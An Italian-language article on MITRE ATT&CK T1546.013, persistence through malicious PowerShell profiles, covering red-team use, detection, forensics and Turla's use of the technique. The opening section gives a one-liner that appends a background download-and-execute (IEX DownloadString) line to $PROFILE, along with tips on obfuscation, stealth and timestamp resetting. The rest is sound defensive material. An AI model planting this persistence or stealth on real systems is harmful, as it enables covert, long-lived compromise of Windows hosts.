Profili PowerShell Malevoli: PowerShell Profile (T1546.013)

In un esercizio red team la tecnica si presta a scenari post-exploitation puliti e a basso rumore. I percorsi profilo da conoscere sono sei, corrispondenti alle combinazioni di scope (AllUsers/CurrentUser) e host (AllHosts/ConsoleHost/ISE). Il modo più rapido per enumerarli è interrogare la variabile automatica $PROFILE:

Get-Variable PROFILE -ValueOnly | Select-Object *Host*

Questo restituisce i quattro path riferiti all'utente e all'host correnti. Per i profili di sistema si consultano $PROFILE.AllUsersAllHosts e $PROFILE.AllUsersCurrentHost, tipicamente sotto C:\Windows\System32\WindowsPowerShell\v1.0\.

Lo scenario base consiste nel verificare l'esistenza del profilo utente, crearlo se assente e appendere una riga di persistenza:

if (!(Test-Path $PROFILE)) { New-Item -Type File -Path $PROFILE -Force }

Add-Content -Path $PROFILE -Value 'Start-Job { IEX (New-Object Net.WebClient).DownloadString("") } | Out-Null'

L'uso di Start-Job è preferibile a un'esecuzione sincrona perché evita che l'apertura della console si blocchi visibilmente in attesa del payload, riducendo il rischio che l'utente noti anomalie. Per operazioni realmente stealth, il codice va offuscato o incapsulato in una funzione dal nome benigno che viene invocata solo se sono presenti determinate condizioni ambientali (dominio, hostname, orario).

Per scalare privilegi, l'obiettivo è colpire il profilo di un account amministrativo. Se si dispone di scrittura su $PROFILE.AllUsersAllHosts (spesso protetto ma non sempre correttamente ACL-ato in ambienti legacy), qualsiasi utente che apra PowerShell caricherà il payload. Alternativa: modificare il profilo dell'utente admin nella propria home directory se accessibile tramite share amministrative dopo lateral movement.

Per simulazioni realistiche, framework come Atomic Red Team (open source) includono test dedicati a T1546.013 sotto forma di script YAML riproducibili — utile per validare la detection senza scrivere payload custom. PowerSploit (open source, archiviato ma ancora funzionante) e Empire nella versione mantenuta da BC-Security (open source) forniscono moduli di post-exploitation che integrano nativamente questa tecnica di persistenza.

Nei report va sempre inclusa la sequenza di cleanup: rimozione delle righe iniettate e ripristino dei timestamp originali del file profilo con Set-ItemProperty sui campi CreationTime e LastWriteTime per non lasciare artefatti nel lab.

La detection efficace di T1546.013 si costruisce sulla correlazione tra due eventi distinti: la modifica di un file profilo e il successivo avvio di una sessione PowerShell che carica quel profilo. Nessuno dei due eventi è di per sé anomalo — insieme, in una finestra temporale ristretta e con un contesto sospetto, diventano un segnale forte.

La strategia di rilevamento DET0451 individua la superficie corretta. Le fonti primarie sono Sysmon (open source, Microsoft) e i log di PowerShell. Da Sysmon interessano gli Event ID 11 (FileCreate) e 13/15 (RegistryValueSet e FileCreateStreamHash) puntati sui percorsi profilo:

• %UserProfile%\Documents\WindowsPowerShell\profile.ps1
• %UserProfile%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
• %UserProfile%\Documents\PowerShell\ (per PowerShell 7+)
• %WinDir%\System32\WindowsPowerShell\v1.0\profile.ps1
• %WinDir%\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1

Una regola Sysmon dedicata a questi path riduce drasticamente il rumore rispetto al monitoraggio generico di *.ps1.

Dal lato PowerShell, va abilitato Script Block Logging (Event ID 4104 nel canale Microsoft-Windows-PowerShell/Operational) e Module Logging (Event ID 4103). Lo script block del profilo viene loggato per intero al primo avvio: la ricerca di stringhe come IEX, DownloadString, FromBase64String, Invoke-Expression dentro blocchi caricati da percorsi profilo è un pattern ad alta fedeltà. Va anche osservato l'Event ID 400 (engine start) del canale legacy Windows PowerShell per stabilire quando le sessioni si aprono.

La correlazione chiave è: modifica di un file profilo seguita entro pochi minuti/ore da process creation di powershell.exe o pwsh.exe (Sysmon Event ID 1 o Security 4688) senza il flag -NoProfile nella command line, che a sua volta genera un 4104 con contenuto sospetto. In ambienti maturi questa catena si esprime bene come regola Sigma correlata su SIEM (Splunk, Sentinel, Elastic).

Dal punto di vista D3FEND, le contromisure detect rilevanti sono File Modification Analysis e Script Execution Analysis. Sul fronte hardening, l'uso di Constrained Language Mode e di AppLocker (nativo Windows) o WDAC (nativo Windows) per consentire solo script firmati blocca alla radice la maggior parte delle varianti.

Falsi positivi da mettere in whitelist: sviluppatori che personalizzano legittimamente il profilo con moduli come posh-git, oh-my-posh (open source), o alias custom; installer di prodotti come Azure PowerShell che a volte modificano i profili di sistema durante il setup. Un baseline per host developer e per macchine server è indispensabile prima di attivare l'alerting in produzione.

L'analisi forense di una compromissione via T1546.013 parte dai file profilo stessi, che sono al tempo stesso artefatto primario e testimone temporale. I percorsi da acquisire in priorità sono i sei corrispondenti alle combinazioni di scope e host PowerShell — sia per Windows PowerShell 5.x (WindowsPowerShell) sia per PowerShell 7+ (PowerShell), su ogni home directory utente e sotto System32.

Di ciascun file va conservato hash (SHA256), contenuto integrale e i timestamp NTFS completi via MFTECmd (open source, Eric Zimmerman): $STANDARD_INFORMATION e $FILE_NAME a confronto rivelano timestomping, tecnica frequente per mascherare la modifica facendola apparire contemporanea alla creazione originale del profilo. Un delta significativo tra i due set di timestamp è di per sé un IoC.

La USN Journal ($UsnJrnl:$J) parsata con MFTECmd ricostruisce la sequenza di operazioni sul file profilo: creazione, apertura in scrittura, chiusura. Correlando con il $LogFile si stabilisce quale processo ha effettuato la modifica, se il sistema ha catturato l'evento con Sysmon o auditing NTFS attivo (Event ID 4663 in Security log con SACL configurata sul path profilo).

I log PowerShell Operational (Microsoft-Windows-PowerShell%4Operational.evtx) sono la miniera principale. L'Event ID 4104 archivia lo script block completo eseguito, inclusi i contenuti del profilo se Script Block Logging era attivo prima della compromissione. Anche se disattivato al momento dei fatti, sessioni successive che ricaricano il profilo lo registrano. L'Event ID 4103 (Module Logging) documenta le invocazioni dei singoli cmdlet con parametri, utile per ricostruire cosa il payload ha fatto una volta caricato.

Sul canale legacy Windows PowerShell (Windows PowerShell.evtx), gli Event ID 400 e 403 marcano start e stop di ogni sessione: mappandoli sull'utente e sull'orario si ottiene la timeline delle esecuzioni del profilo compromesso e si stima la persistenza effettiva (per quanto tempo, quante volte, sotto quali account — inclusa la possibile escalation verso account admin).

Se l'host aveva PSReadLine con history abilitata (default in versioni recenti), il file $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt contiene i comandi digitati interattivamente in ogni sessione — spesso ignorato ma prezioso per capire cosa l'utente reale stava facendo mentre il profilo malevolo si eseguiva silenziosamente in background.

Per contestualizzare l'ingresso iniziale, la timeline va estesa a Prefetch (C:\Windows\Prefetch\POWERSHELL.EXE-*.pf) parsato con PECmd (open source, Zimmerman), che indica frequenza di esecuzione e file referenziati, e al ShimCache/AmCache per identificare eventuali eseguibili dropped dal payload del profilo. In casi documentati come quelli attribuiti a Turla, la persistenza via profilo era solo uno dei layer, affiancato ad altre tecniche che vanno cercate parallelamente.

Il panorama d'uso di T1546.013 è, sulla base della documentazione MITRE, notevolmente concentrato. L'unico gruppo APT associato in modo esplicito è Turla, che ha impiegato modifiche a profili PowerShell come meccanismo di persistenza sulle macchine compromesse.

Turla — noto anche con gli alias Snake, Uroburos, Venomous Bear in altri corpus di threat intelligence — è un attore sofisticato con un lungo track record di operazioni contro obiettivi governativi, diplomatici, militari e di ricerca scientifica in Europa, Stati Uniti, Medio Oriente e area post-sovietica. La sua caratteristica distintiva è l'investimento in tooling custom e in tecniche di persistenza a bassa visibilità, spesso progettate per sopravvivere a incident response parziali. L'uso dei profili PowerShell si inserisce coerentemente in questa filosofia: nessun binario dropped, nessuna chiave di registro appariscente, nessun servizio nuovo — solo qualche riga aggiunta a un file di testo che il sistema stesso è configurato a eseguire.

La scelta della tecnica riflette anche una precisa profilazione del target. Sistemi dove PowerShell è largamente usato dagli amministratori — tipicamente ambienti enterprise Windows con Active Directory — offrono massimo ritorno: alta probabilità che il profilo venga effettivamente caricato più volte al giorno, e possibilità concreta di intercettare l'esecuzione da parte di account privilegiati. Al contrario, workstation di utenti office che non aprono mai una console PowerShell renderebbero la persistenza inerte. Turla usa dunque T1546.013 in modo mirato, tipicamente in fase avanzata dell'intrusione, dopo aver identificato host frequentati da personale IT.

L'assenza di altri gruppi documentati per questa tecnica specifica non implica assenza d'uso nel mondo reale — significa che nei report pubblici mappati a MITRE ATT&CK il pattern non è stato attribuito ad altri attori con la stessa evidenza. Team di intelligence dovrebbero considerare T1546.013 come una tecnica plausibile in qualsiasi intrusione dove sia già stata osservata attività PowerShell estesa (T1059.001) e dove l'attaccante mostri intento di persistenza a lungo termine, indipendentemente dall'attribuzione iniziale.

Dal punto di vista dei trend, la tecnica beneficia della pressione crescente su vettori di persistenza più visibili: scheduled tasks (T1053.005), Run keys (T1547.001) e servizi (T1543.003) sono ormai monitorati di default dalla maggior parte degli EDR moderni. I profili PowerShell, invece, sono ancora fuori dal radar di molte configurazioni standard, soprattutto se lo Script Block Logging non è stato abilitato e se non esistono regole Sysmon puntate sui path profilo. È ragionevole attendersi che gruppi diversi da Turla adottino o abbiano già adottato pattern simili, e che il gap tra uso reale e attribuzione documentata sia significativo. Per l'intelligence operativa questo si traduce in una raccomandazione: trattare T1546.013 come tecnica ad alta priorità di detection anche in assenza di IoC specifici legati a un attore noto.

MITRE ATT&CK: tecnica T1546.013 (PowerShell Profile), tattiche TA0003 e TA0004. Gruppo G0010 (Turla). Mitigazioni M1022, M1045, M1054. Detection strategy DET0451 (analytic AN1245). MITRE D3FEND per contromisure File Modification Analysis e Script Execution Analysis. Documentazione ufficiale Microsoft PowerShell (about_Profiles, about_Logging). Tool citati: Sysmon, Atomic Red Team, PowerSploit, Empire (BC-Security), MFTECmd e PECmd (Eric Zimmerman). Contenuti operativi su comandi, artefatti forensi e configurazioni di detection derivano da conoscenza professionale di cybersecurity verificata su documentazione ufficiale.